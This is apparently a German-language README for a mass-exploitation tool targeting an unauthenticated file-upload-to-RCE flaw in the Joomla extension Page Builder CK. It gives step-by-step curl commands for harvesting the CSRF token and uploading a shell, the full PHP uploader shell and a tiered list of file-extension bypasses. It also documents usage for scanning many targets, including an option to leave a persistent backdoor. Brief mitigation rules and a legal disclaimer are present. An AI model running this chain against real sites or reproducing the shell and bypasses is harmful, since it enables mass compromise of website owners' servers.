
📤 Massen-Exploitation-Framework für CVE-2026-56290 — Page Builder CK Joomla unauthentifizierter Datei-Upload zu RCE
CVE-2026-56290 ist eine kritische Schwachstelle in Page Builder CK (com_pagebuilderck), einer beliebten Joomla-Seitenbauerweiterung. Die Controller-Methode browse.ajaxAddPicture akzeptiert nicht authentifizierte Datei-Uploads mit einem benutzergesteuerten Zielpfad, sodass Angreifer beliebige PHP-Dateien in webzugängliche Verzeichnisse schreiben können.
// browse.php controller — KEINE Authentifizierungsprüfung
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← benutzergesteuerte Datei
$path = trim($input->get('path', '')); // ← benutzergesteuerter Pfad, nur trim()!
// ... lädt Datei in $path hoch, ohne das Ziel zu validieren
}
Der Parameter path wird nur mit trim() bereinigt — keine Whitelist, keine Verzeichnisüberschreitungsprüfung, kein Authentifizierungsgate. Kombiniert mit einem CSRF-Token, der von jeder Joomla-Seite öffentlich abrufbar ist, können Angreifer ferngesteuert PHP-Shells in jedes beschreibbare Verzeichnis hochladen.
| Vektor | Schweregrad | Auswirkung |
|---|---|---|
| Unauthenticated File Upload |
1. AUFRUF Joomla-Startseite → Ernte CSRF-Token (hex32 + Wert "1")
2. POST Datei-Upload → task=browse.ajaxAddPicture&{token}=1
3. PHP-Shell landet in → media/com_pagebuilderck/gfonts/shell.php
4. GET Shell-URL → Code wird ausgeführt, RCE bestätigt
5. POST f=@file an Shell → Weitere Tools hochladen
6. GET ?cleanup=1 → Shell zerstört sich selbst
Hinweis: Die Version wird aus der Joomla-Manifestdatei unter
/administrator/manifests/files/com_pagebuilderck.xmlerkannt. Wenn das Manifest nicht zugänglich ist, geht der Scanner standardmäßig davon aus, dass das Ziel potenziell angreifbar ist.
# Repository klonen
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Abhängigkeiten installieren
pip install -r requirements.txt
# Überprüfen
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Massen-Exploit & Validator
-t, --target Einzelne Ziel-URL
-f, --file Datei mit Ziel-URLs (eine pro Zeile, # für Kommentare)
-o, --output Live-TXT-Ausgabedatei (Standard: cve-2026-56290_live.txt)
--json JSON-Berichtsdateipfad (Standard: cve-2026-56290_report.json)
--threads Gleichzeitige Arbeiter (Standard: 20)
--timeout Zeitüberschreitung für Anfragen in Sekunden (Standard: 15)
--no-cleanup Shells auf dem Ziel belassen (persistente Hintertür)
-v, --verbose Ausführliche Endpunkt-Entdeckungsausgabe
--known-endpoint Entdeckung überspringen: Aufgabe, Dateiparameter, Ordnerparameter
# Einzelnes Ziel
python cve_2026_56290.py -t https://ziel.com
# Massenscan aus Datei
python cve_2026_56290.py -f targets.txt
# Benutzerdefinierte Ausgabe + ausführlich
python cve_2026_56290.py -f targets.txt -o ergebnisse.txt -v
# Shells hinterlassen (persistente Hintertür)
python cve_2026_56290.py -t https://ziel.com --no-cleanup
# Entdeckung mit bekanntem Endpunkt überspringen
python cve_2026_56290.py -t https://ziel.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
ziel-eins.com
https://ziel-zwei.com/unterverzeichnis
192.168.10.100
# Kommentare und leere Zeilen werden ignoriert
$ python cve_2026_56290.py -f targets.txt -o live_ergebnisse.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 Ziele | 20 Threads | Bereinigung=ja
Live TXT: live_ergebnisse.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://ziel-angreifbar.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [ANFÄLLIG]
RCE : ext=php | pfad=media/com_pagebuilderck/gfonts/
Shell: https://ziel-angreifbar.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Nutzung: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | datei=file | ordner=path
🛡️ https://ziel-gepatcht.com [patched] 3.2s
✅ https://ziel-angreifbar2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [ANFÄLLIG]
RCE : ext=pHP | pfad=media/com_pagebuilderck/fonts/
Shell: https://ziel-angreifbar2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Nutzung: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | datei=file | ordner=path
==================================================
SCAN-ZUSAMMENFASSUNG
==================================================
Gesamt : 5
✅ RCE Bestätigt : 2
⚠️ RCE Fehlgeschlagen : 1
🛡️ Gepatcht : 1
🔍 Diff benötigt : 0
❌ Nicht Joomla : 0
⏭️ Keine Komponente : 1
💥 Fehler : 0
==================================================
Schritt 1 — CSRF-Token ernten
curl -sk 'https://ziel.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
Schritt 2 — PHP-Shell hochladen
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://ziel.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
Schritt 3 — RCE überprüfen
curl -sk 'https://ziel.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP-Shell-Ausgabe, bestätigt Codeausführung
Der Scanner setzt eine eigenständige Uploader-Shell ein — kein exec(), system() oder eval() erforderlich:
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
Shell-Fähigkeiten:
f=@file hochladen?cleanup=1┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ AUFKLÄRUNGSPHASE│ AUSNUTZUNGSPHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpunkt │ │ Erweiterungs-│ │
│ │ Erkennung │ │ │ Brute-Force │ │ Bypass-Grid │ │
│ │ (2-phasig) │ │ │ (1000+ Kombi)│ │ (40+ Ext.) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF-Token- │ │ PHP-Shell- │ │
│ │ Erkennung │ │ │ Ernte │ │ Bereitstellung│ │
│ │ (Sonden) │ │ │ (5 Seiten) │ │ (20+ Pfade) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Versions- │ │ │ │ Validierung │ │
│ │ prüfung │ │ │ │ + Bereinigung│ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
Der Scanner verwendet einen gestaffelten Brute-Force-Ansatz mit einem Zeitbudget pro Ziel (15s):
Jede Kombination: Upload einer .txt-Sonde → Überprüfung via GET → Übereinstimmung bei Erfolg. Wird sofort zurückgegeben, wenn bestätigt.
CKFile::makeSafe() blockiert .php in manchen Konfigurationen. Die Bypass-Strategie:
Stufe 1: Schnell
php, PHP, pht, phar
↓ (falls blockiert)
Stufe 2: Groß-/Kleinschreibungsänderung
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (falls blockiert)
Stufe 3: Alternative Handler
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (falls blockiert)
Stufe 4: Doppelte Erweiterungen
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (falls blockiert)
Stufe 5: Windows-Tricks
php., PHP., php. , php.SWF
Joomlas CSRF-Token ist in jeder Seite eingebettet — Startseite, Login, Registrierung, Kontaktformulare, Admin:
CSRF_SEITEN = [
"", # Startseite
"/index.php?option=com_users&view=login", # Login
"/index.php?option=com_users&view=registration", # Registrierung
"/index.php?option=com_contact&view=contact&id=1", # Kontakt
"/administrator/index.php", # Admin-Login
]
Muster A — HTML-Hidden-Input: <input type="hidden" name="<hex32>" value="1">
Muster B — JSON-Konfiguration: "csrf.token":"<hex32>"
Phase 1 — HTML-Fingerabdrücke (schnell, endgültig)
<jdoc:include>, joomla-script-options, "csrf.token"/components/com_, /modules/mod_, /plugins/system/Phase 2 — Admin-Panel-Untersuchung (Rückfall)
/administrator/-Seite abname="username", mod-login-, administrator/templates/Stufe 1 — Starke HTML-Indikatoren
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
Stufe 2 — Schwache HTML-Indikatoren mit Bestätigung
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
Stufe 3 — Direkte Dateisonden (erfasst Installationen, bei denen PBCK nicht auf der Startseite ist)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Page Builder CK auf die neueste gepatchte Version aktualisieren
# Prüfen: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — unauthentifizierten Zugriff auf den Upload-Controller blockieren
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess in media/ — PHP-Ausführung deaktivieren
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Eigene Infrastruktur scannen
python cve_2026_56290.py -f meine_joomla_seiten.txt -o prüf_ergebnisse.txt
🚨 NUR FÜR BILDUNGSZWECKE & AUTORISIERTE TESTS
Diese Software wird ausschließlich für Bildungszwecke und legitime Sicherheitsforschung bereitgestellt. Sie ist bestimmt für die Nutzung durch:
- 🛡️ Sicherheitsexperten, die autorisierte Penetrationstests durchführen
- 🏢 Organisationen, die ihre eigene Joomla-Infrastruktur prüfen
- 🔬 Forscher, die Schwachstellenausnutzungstechniken untersuchen
- 🎓 Studenten, die etwas über Webanwendungssicherheit lernen
❌ Sie dürfen diese Software NICHT verwenden, um:
- Computersysteme ohne ausdrückliche schriftliche Genehmigung zu durchsuchen
- Systeme, die Sie nicht besitzen, zu kompromittieren, zu beschädigen oder zu stören
- Illegale Aktivitäten jeglicher Art durchzuführen
⚖️ Rechtlicher Hinweis
Unbefugter Zugriff auf Computersysteme verstößt gegen Gesetze, einschließlich, aber nicht beschränkt auf:
- Vereinigte Staaten: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonesien: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Europäische Union: Richtlinie 2013/40/EU
- Vereinigtes Königreich: Computer Misuse Act 1990
Die Autoren übernehmen KEINE HAFTUNG für Missbrauch, Schäden oder rechtliche Folgen, die aus der Nutzung dieses Werkzeugs entstehen. Durch die Verwendung dieser Software bestätigen Sie, dass Sie allein für Ihre Handlungen verantwortlich sind und sich verpflichten, alle geltenden Gesetze einzuhalten.
⚡ Mit Präzision für die Sicherheitsforschungs-Community entwickelt ⚡
Joomla® ist eine eingetragene Marke von Open Source Matters, Inc.
Dieses Projekt ist weder mit Joomla, Open Source Matters noch mit Page Builder CK verbunden oder von diesen unterstützt.
| 9.8 (Kritisch) |
| Beliebige PHP-Codeausführung |
| CSRF-Token-Ernte | 5.3 (Mittel) | Ermöglicht die Upload-Kette |
| Informationsoffenlegung | 5.3 (Mittel) | Versions-Fingerprinting der Erweiterung |
| Page Builder CK Version | Status | Anmerkungen |
|---|
| 3.1.1 und niedriger | 🔴 Angreifbar | Bestätigter unauthentifizierter Upload |
| 3.4.10 und niedriger | 🔴 Angreifbar | Erweiterter Bereich laut Analyse |
| 3.5.10 und niedriger | 🔴 Angreifbar | Einige gepatchte Varianten möglich |
| > 3.5.10 | 🟢 Möglicherweise gepatcht | Über Manifest XML prüfen |
🔍 Aufklärung
|
💀 Ausnutzung
|
| Stufe | Aufgaben | Dateiparameter | Ordnerparameter | Zielpfade | Gesamtkombis |
|---|
| Stufe 1 (bestätigt) | browse.ajaxAddPicture + 3 andere | file, Filedata | path, folder, dir | Top 4 PBCK-Verz. | 96 |
| Stufe 2 (volles Raster) | 12 Aufgaben | 4 Parameter | 5 Parameter | 20+ Pfade | 4.800+ |
| Ressource | Link |
|---|
| NVD-Eintrag | CVE-2026-56290 |
| Joomla-Sicherheit | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| OWASP Datei-Upload | Unrestricted File Upload |